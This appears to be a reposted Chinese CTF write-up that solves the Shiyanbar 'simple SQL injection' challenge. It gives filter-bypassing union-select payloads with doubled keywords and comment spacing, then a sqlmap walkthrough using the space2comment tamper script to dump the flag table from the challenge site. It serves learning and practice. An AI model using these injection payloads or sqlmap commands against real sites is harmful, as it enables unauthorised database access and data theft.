您的位置:首页 > 数据库

实验吧简单的sql注入--三题答案一样--_--

2017-09-03 21:01 274 查看




简单的sql注入



关键字被过滤了



空格被过滤了



1'/**/unionunion/**/selectselect/**/table_name/**/fromfrom/**/information_schema.tables/**/wherewhere/**//**/'1'='1

这样尝试爆出表名来,居然报错,好吧 我来两个空格(空格被过滤了),估计是有个过滤函数

1'  unionunion  selectselect  table_name  fromfrom  information_schema.tables  wherewhere  '1'='1





这样可以得到表flag,但是下面同样的方法得不到列字段(下面方法2可以得到)



最后就猜测试试列是flag
1'  unionunion  selectselect  flag  fromfrom  flag  wherewhere  '1'='1


结果就成了。



第二种做法:基于windows下的sqlmap:

这里我们会用到tamper,是Python写的,sqlmap一般自带,主要的作用是绕过WAF ,空格被过滤可以使用space2comment.py,过滤系统对大小写敏感可以使用randomcase.py等等。
这里用的level参数是执行测试的等级(1-5,默认为1) ,sqlmap默认测试所有的GET和POST参数,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。

E:\CTF\sqlmap>python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dbs



继续在web1数据库中查找
E:\CTF\sqlmap>python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 --table



继续找吧
E:\CTF\sqlmap>python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 -T flag --colu
af40
mn



接下来就直接看结果吧
E:\CTF\sqlmap>python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 -T flag -C flag --dump




参考
参考
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: